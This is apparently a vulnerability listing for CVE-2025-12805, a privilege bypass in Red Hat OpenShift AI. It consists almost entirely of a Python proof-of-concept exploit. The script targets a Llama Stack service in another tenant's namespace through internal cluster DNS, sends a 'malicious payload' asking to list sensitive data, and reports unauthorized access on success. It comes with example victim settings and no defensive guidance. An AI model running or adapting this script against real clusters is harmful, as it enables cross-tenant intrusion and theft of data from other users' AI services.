CVE-2025-12805 Red Hat OpenShift AI 权限绕过漏洞

import requests # PoC for CVE-2025-12805: Unauthorized Access to Llama Stack Services # Description: This script attempts to access a target Llama Stack service in a different namespace. # Prerequisites: Network access to the cluster (internal pod or compromised node). def exploit(target_namespace, target_service, port): # Construct the internal DNS name for the service target_url = f"http://{target_service}.{target_namespace}.svc.cluster.local:{port}/v1/chat" headers = { "Content-Type": "application/json" } # Malicious payload to test access data = { "query": "List all sensitive data" } try: print(f"[*] Attempting to connect to: {target_url}") response = requests.post(target_url, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Exploit Successful! Unauthorized access confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Example configuration TARGET_NAMESPACE = "victim-ai-project" TARGET_SERVICE = "llama-stack" PORT = "8080" exploit(TARGET_NAMESPACE, TARGET_SERVICE, PORT)